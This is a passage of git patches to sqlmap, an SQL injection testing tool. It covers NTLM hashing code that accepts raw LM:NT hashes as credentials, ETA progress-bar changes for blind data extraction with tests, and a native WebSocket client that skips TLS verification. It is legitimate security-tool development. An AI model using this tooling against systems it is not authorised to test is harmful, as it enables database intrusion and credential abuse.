+NTLM_TYPE2_FLAGS = (NTLM_NegotiateUnicode | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateTargetInfo | + NTLM_NegotiateVersion | NTLM_Negotiate128 | NTLM_Negotiate56) + +_HASH_RE = re.compile(r"\A[0-9a-fA-F]{32}:[0-9a-fA-F]{32}\Z") + +# ---------- password hashes / challenge responses ---------- +def create_LM_hashed_password_v1(password): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[0]) + pw = (getBytes(password.upper()) + b"\0" * 14)[:14] + return _des(pw[0:7], b"KGS!@#$%") + _des(pw[7:14], b"KGS!@#$%") + +def create_NT_hashed_password_v1(password, user=None, domain=None): + if _HASH_RE.match(password): + return binascii.unhexlify(password.split(':')[1]) + return _md4(password.encode("utf-16-le")) + +def calc_resp(password_hash, server_challenge): + ph = password_hash + b"\0" * (21 - len(password_hash)) + return _des(ph[0:7], server_challenge) + _des(ph[7:14], server_challenge) + _des(ph[14:21], server_challenge) + +def ntlm2sr_calc_resp(nt_hash, server_challenge, client_challenge): + import hashlib + lm_response = client_challenge + b"\0" * 16 + session = hashlib.md5(server_challenge + client_challenge).digest() + nt_response = calc_resp(nt_hash, session[0:8]) + return (nt_response, lm_response) + +# ---------- messages ---------- +def create_NTLM_NEGOTIATE_MESSAGE(user, type1_flags=NTLM_TYPE1_FLAGS): + workstation = getBytes(socket.gethostname().upper()) + domain = getBytes(user.split('\\', 1)[0].upper()) + body = 40 + msg = b"NTLMSSP\0" + struct.pack(" Date: Thu, 9 Jul 2026 13:25:50 +0200 Subject: [PATCH 163/165] Fixing --eta --- lib/core/settings.py | 5 +- lib/request/inject.py | 58 +++++++++++++++- lib/utils/progress.py | 45 +++++++++--- plugins/generic/databases.py | 15 ++-- plugins/generic/entries.py | 8 ++- tests/test_progress.py | 131 +++++++++++++++++++++++++++++++++++ tests/test_techniques.py | 42 +++++++++++ 7 files changed, 285 insertions(+), 19 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 95cd32667..04460590c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.55" +VERSION = "1.10.7.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -249,6 +249,9 @@ THREAD_FINALIZATION_TIMEOUT = 1 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier +ETA_DISPLAY_SMOOTHING = 0.5 + # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 diff --git a/lib/request/inject.py b/lib/request/inject.py index 731a47b0c..8948a07cc 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission from __future__ import print_function import re +import threading import time from lib.core.agent import agent @@ -16,6 +17,7 @@ from lib.core.common import applyFunctionRecursively from lib.core.common import dataToStdout from lib.core.common import unArrayizeValue from lib.core.datatype import AttribDict +from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds @@ -58,12 +60,14 @@ from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import IS_TTY from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads +from lib.core.threads import setDaemon from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct @@ -405,6 +409,25 @@ def _verifyInferredValue(expression, value): except Exception: return True +def valueParallelEligible(): + """ + Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker) + rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to + render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the + HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under + '--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and + still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra + guards (e.g. '--dns-domain', per-column comments). + """ + + concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None + + if conf.threads > 1: + return concurrencySafe + if conf.eta: + return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) + return False + def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): """ Value-parallel blind retrieval. @@ -446,6 +469,13 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non results = [None] * len(indices) cursor = iter(xrange(len(indices))) + # With '--eta' show a single value-level bar (values completed / total) instead of the per-value + # stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the + # per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced, + # below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets. + etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None + completed = [0] + def inferenceThread(): threadData = getCurrentThreadData() # Each per-value bisection streams its characters to stdout and mirrors them into @@ -489,13 +519,36 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non with kb.locks.value: results[slot] = value + if etaProgress is not None: + with kb.locks.io: + completed[0] += 1 + threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted) + try: + etaProgress.progress(completed[0]) + finally: + threadData.disableStdOut = True + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly # like the error/union dumps), so a dump shows its data live rather than a silent counter. - if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): with kb.locks.io: rendered = safecharencode(unArrayizeValue(value)) dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + # Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many + # seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs + # on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them). + etaTickerStop = threading.Event() + etaTicker = None + if etaProgress is not None and IS_TTY: + def _etaTicker(): + while not etaTickerStop.wait(1.0): + with kb.locks.io: + etaProgress.tick() + etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker") + setDaemon(etaTicker) + etaTicker.start() + # Save/restore the calling thread's state: with a single thread runThreads runs the worker # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. savedPartRun = kb.partRun @@ -505,6 +558,9 @@ def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=Non try: runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) finally: + etaTickerStop.set() + if etaTicker is not None: + etaTicker.join(timeout=2) kb.partRun = savedPartRun mainThreadData.disableStdOut = savedStdOut mainThreadData.shared = savedShared diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 1bfb10656..97e58a9bb 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -13,6 +13,8 @@ from lib.core.common import dataToStdout from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb +from lib.core.settings import ETA_DISPLAY_SMOOTHING +from lib.core.settings import IS_TTY class ProgressBar(object): """ @@ -26,7 +28,9 @@ class ProgressBar(object): self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 - self._start = None + self._start = time.time() # begin timing at construction, so the first completed item already yields an estimate + self._eta = None # last estimated seconds-remaining and when it was computed, so tick() + self._etaAt = None # can keep the countdown live between (possibly slow) item updates self.update() def _convertSeconds(self, value): @@ -73,17 +77,39 @@ class ProgressBar(object): def progress(self, newAmount): """ - This method saves item delta time and shows updated progress bar with calculated eta + Redraw the bar with an ETA from the average time per completed item so far, applied to the items + still remaining: (elapsed / done) * (max - newAmount). The remaining-item count is (max - newAmount) + - i.e. at 1/3 it estimates the 2 items left, at 2/3 the 1 left - not just the current item. """ - if self._start is None or newAmount > self._max: - self._start = time.time() - eta = None - else: - delta = time.time() - self._start - eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta + now = time.time() + if newAmount > self._max: # counter rollover/reset -> restart timing + self._start = now + self._eta = None + done = newAmount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - newAmount) if (done > 0 and elapsed > 0) else None + + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target # first estimate: nothing to ease from + else: + current = max(0, self._eta - (now - self._etaAt)) # what is on screen now (already decremented by tick()) + self._eta = ETA_DISPLAY_SMOOTHING * current + (1 - ETA_DISPLAY_SMOOTHING) * target # ease into the fresh estimate + + self._etaAt = now self.update(newAmount) + self.draw(self._eta) + + def tick(self): + """ + Redraw the current bar with its ETA decremented by real elapsed time, so the countdown stays + live between updates (e.g. during a long time-based wait) instead of freezing at the last estimate + """ + + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._etaAt)) self.draw(eta) def draw(self, eta=None): @@ -91,6 +117,9 @@ class ProgressBar(object): This method draws the progress bar if it has changed """ + if not IS_TTY: # a progress bar is a terminal animation; suppress it when piped/redirected (as done for other '\r' output) + return + dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: dataToStdout("\r%s\r" % (" " * self._width)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index c439863b9..70f210b15 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -403,12 +403,13 @@ class Databases(object): # Value-parallel, prediction-assisted name enumeration for the DBMSes using the # generic ", " blind template. Retrieves whole names concurrently (one per - # worker, each decoded sequentially so wordlist prediction applies). Used only with - # '--threads' (like getColumns below); single-thread stays on the classic getValue loop, - # which still gets predictive inference via getPartRun. The special templates stay serial. + # worker, each decoded sequentially so wordlist prediction applies). Used with '--threads' + # and under '--eta' (one whole-job bar/ETA) per valueParallelEligible(); plain single-thread + # stays on the classic getValue loop, which still gets predictive inference via getPartRun. + # The special templates stay serial. genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) - if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + if genericTemplate and inject.valueParallelEligible(): for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): if not isNoneValue(table): kb.hintValue = table @@ -899,9 +900,11 @@ class Databases(object): # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per # worker, decoded sequentially - no length probe, predictive inference applies, names stream - # live). Serial fallback for single-thread and when also fetching per-column comments. + # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via + # valueParallelEligible(); serial fallback only when also fetching per-column comments (those + # need an extra per-column query). columnNames = None - if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + if not conf.getComments and inject.valueParallelEligible(): columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") for position, index in enumerate(indexList): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 568a0eb53..4e8ef5a7d 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -444,9 +444,11 @@ class Entries(object): # value's characters across threads) and the per-column Huffman model + low-cardinality # guessing engage under concurrency. Used for the boolean channel with '--threads', and # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and - # deterministic - unlike classic time-based, whose char-parallel loop interleaves its - # per-thread output). Single-thread and classic time-based keep the char-parallel loop. - if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None): + # deterministic). Also used under '--eta' - including single-threaded time-based, the + # slowest channel - to drive one whole-job progress bar/ETA (how long the dump takes) + # instead of a per-cell counter. Eligibility (channel x threads/eta) is valueParallelEligible(); + # '--dns-domain' keeps the classic loop (its OOB fast path bypasses bisection). + if not conf.dnsDomain and inject.valueParallelEligible(): # One value-parallel pass over every (non-empty) cell, so there is a single # thread pool and values stream live as they complete - out of order, exactly # like the error/union dumps - instead of a silent progress counter. diff --git a/tests/test_progress.py b/tests/test_progress.py index dbc007f01..5690763d1 100644 --- a/tests/test_progress.py +++ b/tests/test_progress.py @@ -56,7 +56,9 @@ class TestProgressBar(unittest.TestCase): def test_progress_draws_eta_after_second_call(self): captured = [] real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True # draw() only animates on a terminal try: pb = ProgressBar(0, 10, 78) pb.progress(0) # first call only seeds the timer (eta None) @@ -64,6 +66,7 @@ class TestProgressBar(unittest.TestCase): pb.progress(5) # second call computes and draws a real ETA finally: progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty self.assertTrue(captured, msg="progress() never wrote to stdout") last = captured[-1] @@ -73,6 +76,134 @@ class TestProgressBar(unittest.TestCase): self.assertTrue(re.search(r"\(ETA \d{2}:\d{2}\)", last), msg="ETA token missing an mm:ss timer: %r" % last) + def test_eta_available_from_first_completed_item(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 5, 78) + pb._start = pb._lastTime = time.time() - 2.0 # one item took ~2s -> estimate must appear now, at 1/5 + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + last = captured[-1] + self.assertNotIn("??:??", last, msg="no ETA at the first item: %r" % last) + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", last) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(7 <= secs <= 9, msg="ETA not ~8s (2s/item x 4 remaining): %r" % last) # not the 2x-optimistic ~4s + + def test_eta_reflects_remaining_item_count(self): + # at a constant 10s/item pace: 1/3 must estimate the 2 items left (~20s), 2/3 the 1 left (~10s) - + # i.e. (max - done) items, not just the current one. Fresh bars so each is a first (unsmoothed) estimate. + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + + def drawnEta(): + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no ETA drawn: %r" % captured[-1]) + return int(m.group(1)) * 60 + int(m.group(2)) + + try: + a = ProgressBar(0, 3, 78) + a._start = time.time() - 10.0 # 1 done in 10s -> 10s/item, 2 remaining -> ~20s + a.progress(1) + eta1 = drawnEta() + + b = ProgressBar(0, 3, 78) + b._start = time.time() - 20.0 # 2 done in 20s -> 10s/item, 1 remaining -> ~10s + b.progress(2) + eta2 = drawnEta() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertTrue(18 <= eta1 <= 22, msg="1/3 should estimate 2 remaining (~20s): %ds" % eta1) + self.assertTrue(8 <= eta2 <= 12, msg="2/3 should estimate 1 remaining (~10s): %ds" % eta2) + + def test_new_estimate_is_eased_not_snapped(self): + # when a fresh estimate is far from the value currently on screen, the drawn ETA must land + # between the two (smoothed), not snap straight to the new target + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb._eta = 8.0 # currently showing ~8s... + pb._etaAt = time.time() + pb._start = time.time() - 2.0 # ...but the fresh target is (2/1)*(10-1) = 18s + pb.progress(1) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(10 <= secs <= 16, msg="ETA snapped instead of easing between 8 and 18: %ds" % secs) + + def test_tick_counts_down_from_stored_eta(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 100 # a 100s estimate... + pb._etaAt = time.time() - 30 # ...taken 30s ago -> tick() must show ~70s + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + m = re.search(r"\(ETA (\d{2}):(\d{2})\)", captured[-1]) + self.assertTrue(m, msg="no mm:ss ETA drawn: %r" % captured[-1]) + secs = int(m.group(1)) * 60 + int(m.group(2)) + self.assertTrue(66 <= secs <= 71, msg="ETA not decremented to ~70s: %r" % captured[-1]) + + def test_tick_clamps_at_zero_when_overdue(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = True + try: + pb = ProgressBar(0, 10, 78) + pb.update(5) + pb._eta = 5 + pb._etaAt = time.time() - 60 # long overdue -> must clamp to 00:00, never negative + pb.tick() + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertIn("(ETA 00:00)", captured[-1], msg=captured[-1]) + + def test_no_draw_when_not_tty(self): + captured = [] + real = progress_mod.dataToStdout + realTty = progress_mod.IS_TTY + progress_mod.dataToStdout = lambda data, *a, **k: captured.append(data) + progress_mod.IS_TTY = False # piped/redirected: no animated bar should reach the stream + try: + pb = ProgressBar(0, 10, 78) + for i in range(1, 11): + pb.progress(i) + finally: + progress_mod.dataToStdout = real + progress_mod.IS_TTY = realTty + + self.assertEqual(captured, [], msg="progress bar leaked to a non-TTY stream: %r" % captured) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 6ab50de7e..239bc33f8 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -48,6 +48,7 @@ from lib.core.agent import agent from lib.core.unescaper import unescaper from lib.request.connect import Connect from lib.request.connect import Connect as Request +from lib.request import inject from lib.utils.hashdb import HashDB import lib.techniques.union.use as uu @@ -1516,6 +1517,47 @@ class TestConfigUnion(unittest.TestCase): self.assertEqual(kb.uChar, "SENTINEL") +class TestValueParallelEligibility(unittest.TestCase): + """ + inject.valueParallelEligible() picks the value-parallel path (job-level '--eta' bar / concurrency). + Safety invariant under test: classic time-based must never run concurrently (interfering SLEEP + measurements), so it qualifies only single-threaded under '--eta'; a concurrency-safe channel + (boolean or the timeless oracle) may run under either '--threads' or '--eta'. + """ + + def setUp(self): + self._avail = set() + self._realAvail = inject.isTechniqueAvailable + inject.isTechniqueAvailable = lambda t: t in self._avail + self._saved = (conf.threads, conf.eta, kb.get("timeless")) + + def tearDown(self): + inject.isTechniqueAvailable = self._realAvail + conf.threads, conf.eta, kb.timeless = self._saved + + def _elig(self, threads, eta, techniques, timeless=None): + conf.threads, conf.eta, kb.timeless = threads, eta, timeless + self._avail = set(techniques) + return inject.valueParallelEligible() + + def test_single_thread_eta_time_based_qualifies(self): + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.TIME})) + + def test_multi_thread_time_based_never_parallel(self): + self.assertFalse(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME})) + self.assertFalse(self._elig(8, False, {PAYLOAD.TECHNIQUE.TIME})) + + def test_boolean_qualifies_under_threads_or_eta(self): + self.assertTrue(self._elig(8, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + self.assertTrue(self._elig(1, True, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_plain_single_thread_no_eta_stays_classic(self): + self.assertFalse(self._elig(1, False, {PAYLOAD.TECHNIQUE.BOOLEAN})) + + def test_timeless_is_concurrency_safe(self): + self.assertTrue(self._elig(8, True, {PAYLOAD.TECHNIQUE.TIME}, timeless=object())) + + if __name__ == "__main__": unittest.main(verbosity=2) From fc1ae6950e48fc370ecaa4bde8d23a515987fbd0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 13:56:40 +0200 Subject: [PATCH 164/165] Adding native websocket support --- lib/core/option.py | 9 -- lib/core/settings.py | 2 +- lib/request/connect.py | 8 +- lib/request/websocket.py | 230 +++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 11 -- tests/test_websocket.py | 138 +++++++++++++++++++++++ 6 files changed, 371 insertions(+), 27 deletions(-) create mode 100644 lib/request/websocket.py create mode 100644 tests/test_websocket.py diff --git a/lib/core/option.py b/lib/core/option.py index bb915197d..ad80c4a52 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2698,15 +2698,6 @@ def _setHttpOptions(): _http_client.HTTPConnection._http_vsn = 10 _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' - if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): - try: - from websocket import ABNF - ABNF # require websocket-client, not any 'websocket' module - except ImportError: - errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket functionality" - raise SqlmapMissingDependence(errMsg) - def _checkTor(): if not conf.checkTor: return diff --git a/lib/core/settings.py b/lib/core/settings.py index 04460590c..1b227713b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.56" +VERSION = "1.10.7.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 70d5091d0..77f9f25a7 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -19,12 +19,8 @@ import sys import time import traceback -try: - import websocket - from websocket import WebSocketException -except ImportError: - class WebSocketException(Exception): - pass +from lib.request import websocket +from lib.request.websocket import WebSocketException from lib.core.agent import agent from lib.core.common import asciifyUrl diff --git a/lib/request/websocket.py b/lib/request/websocket.py new file mode 100644 index 000000000..1d8f56aee --- /dev/null +++ b/lib/request/websocket.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free WebSocket client (RFC 6455), replacing the 'websocket-client' third-party +# library. Covers exactly what sqlmap needs: the client handshake, masked text framing, wss (TLS) and +# the recv/timeout surface. It also removes the long-standing ambiguity with the unrelated 'websocket' +# PyPI package (both expose a top-level 'websocket' module). Pure standard library, Python 2.7 / 3.x. + +import base64 +import hashlib +import os +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.six.moves import urllib as _urllib + +_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" # RFC 6455 magic value for the accept key + +OPCODE_CONTINUATION = 0x0 +OPCODE_TEXT = 0x1 +OPCODE_BINARY = 0x2 +OPCODE_CLOSE = 0x8 +OPCODE_PING = 0x9 +OPCODE_PONG = 0xA + +class WebSocketException(Exception): + pass + +class WebSocketTimeoutException(WebSocketException): + pass + +class WebSocketConnectionClosedException(WebSocketException): + pass + +class WebSocket(object): + """ + Minimal RFC 6455 client exposing the websocket-client subset used by sqlmap: settimeout(), connect(), + send(), recv(), close(), the handshake .status and getheaders() + """ + + def __init__(self): + self.sock = None + self.status = None + self._headers = {} + self._timeout = None + self._buffer = b"" + self._closed = False + + def settimeout(self, timeout): + self._timeout = timeout + if self.sock is not None: + self.sock.settimeout(timeout) + + def connect(self, url, header=None, cookie=None): + parts = _urllib.parse.urlsplit(url) + secure = parts.scheme == "wss" + host = parts.hostname + port = parts.port or (443 if secure else 80) + resource = parts.path or "/" + if parts.query: + resource += "?%s" % parts.query + + self.sock = socket.create_connection((host, port), timeout=self._timeout) + if secure: + self.sock = ssl._create_unverified_context().wrap_socket(self.sock, server_hostname=host) + self.sock.settimeout(self._timeout) + + hostport = "[%s]" % host if ":" in host else host # bracket IPv6 literals + if port not in (80, 443): + hostport = "%s:%d" % (hostport, port) + + key = getText(base64.b64encode(os.urandom(16))) + lines = ["GET %s HTTP/1.1" % resource, + "Host: %s" % hostport, + "Upgrade: websocket", + "Connection: Upgrade", + "Sec-WebSocket-Key: %s" % key, + "Sec-WebSocket-Version: 13"] + for _ in (header or ()): + lines.append(_) + if cookie: + lines.append("Cookie: %s" % cookie) + lines.extend(("", "")) + self.sock.sendall(getBytes("\r\n".join(lines))) + + self._readHandshake(key) + + def _readHandshake(self, key): + while b"\r\n\r\n" not in self._buffer: + chunk = self._recvSome() + if not chunk: + raise WebSocketException("incomplete WebSocket handshake response") + self._buffer += chunk + + head, _, self._buffer = self._buffer.partition(b"\r\n\r\n") + lines = getText(head).split("\r\n") + + try: + self.status = int(lines[0].split(" ", 2)[1]) + except (IndexError, ValueError): + raise WebSocketException("malformed WebSocket handshake response") + + for line in lines[1:]: + name, _, value = line.partition(":") + self._headers[name.strip().lower()] = value.strip() + + if self.status != 101: + raise WebSocketException("Handshake status %d" % self.status) # 'Handshake status' is matched in connect.py + + accept = getText(self._headers.get("sec-websocket-accept", "")) + expected = getText(base64.b64encode(hashlib.sha1(getBytes(key + _GUID)).digest())) + if accept != expected: + raise WebSocketException("invalid 'Sec-WebSocket-Accept' in handshake response") + + def getheaders(self): + return dict(self._headers) + + def send(self, payload, opcode=OPCODE_TEXT): + self._sendFrame(getBytes(payload), opcode) + + def _sendFrame(self, data, opcode): + length = len(data) + frame = bytearray() + frame.append(0x80 | opcode) # FIN set, single (unfragmented) frame + + if length < 126: + frame.append(0x80 | length) # client frames must set the mask bit + elif length < 65536: + frame.append(0x80 | 126) + frame += struct.pack("!H", length) + else: + frame.append(0x80 | 127) + frame += struct.pack("!Q", length) + + mask = bytearray(os.urandom(4)) + frame += mask + payload = bytearray(data) + for i in range(length): + payload[i] ^= mask[i % 4] + frame += payload + + try: + self.sock.sendall(bytes(frame)) + except socket.timeout: + raise WebSocketTimeoutException("timed out while sending data") + except ssl.SSLError as ex: + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while sending data") + raise + + def recv(self): + data = bytearray() + while True: + fin, opcode, payload = self._recvFrame() + if opcode == OPCODE_CLOSE: + self._closed = True + raise WebSocketConnectionClosedException("WebSocket connection closed") + elif opcode == OPCODE_PING: + self._sendFrame(bytes(payload), OPCODE_PONG) + continue + elif opcode == OPCODE_PONG: + continue + + data += payload + if fin: + break + + return getText(bytes(data)) + + def _recvFrame(self): + header = bytearray(self._readStrict(2)) + fin = (header[0] >> 7) & 1 + opcode = header[0] & 0x0F + masked = (header[1] >> 7) & 1 + length = header[1] & 0x7F + + if length == 126: + length = struct.unpack("!H", self._readStrict(2))[0] + elif length == 127: + length = struct.unpack("!Q", self._readStrict(8))[0] + + mask = bytearray(self._readStrict(4)) if masked else None + payload = bytearray(self._readStrict(length)) + if mask is not None: # servers must not mask, but unmask defensively + for i in range(length): + payload[i] ^= mask[i % 4] + + return fin, opcode, payload + + def _readStrict(self, count): + while len(self._buffer) < count: + chunk = self._recvSome() + if not chunk: + raise WebSocketConnectionClosedException("WebSocket connection closed") + self._buffer += chunk + + result, self._buffer = self._buffer[:count], self._buffer[count:] + return result + + def _recvSome(self): + try: + return self.sock.recv(8192) + except socket.timeout: + raise WebSocketTimeoutException("timed out while receiving data") + except ssl.SSLError as ex: + # Python 2 raises ssl.SSLError('The read operation timed out') instead of socket.timeout on a + # TLS read timeout - which is exactly sqlmap's normal "read frames until timeout" path over wss + if "timed out" in str(ex).lower(): + raise WebSocketTimeoutException("timed out while receiving data") + raise + + def close(self): + if self.sock is not None: + try: + if not self._closed: + self._sendFrame(struct.pack("!H", 1000), OPCODE_CLOSE) # normal closure + except (socket.error, WebSocketException): + pass + try: + self.sock.close() + except socket.error: + pass + self.sock = None diff --git a/lib/utils/deps.py b/lib/utils/deps.py index b681ef4ef..99fcc31e8 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -83,17 +83,6 @@ def checkDependencies(): logger.warning(warnMsg) missing_libraries.add('python-impacket') - try: - __import__("websocket._abnf") - debugMsg = "'websocket-client' library is found" - logger.debug(debugMsg) - except ImportError: - warnMsg = "sqlmap requires 'websocket-client' third-party library " - warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" - logger.warning(warnMsg) - missing_libraries.add('websocket-client') - try: __import__("tkinter") debugMsg = 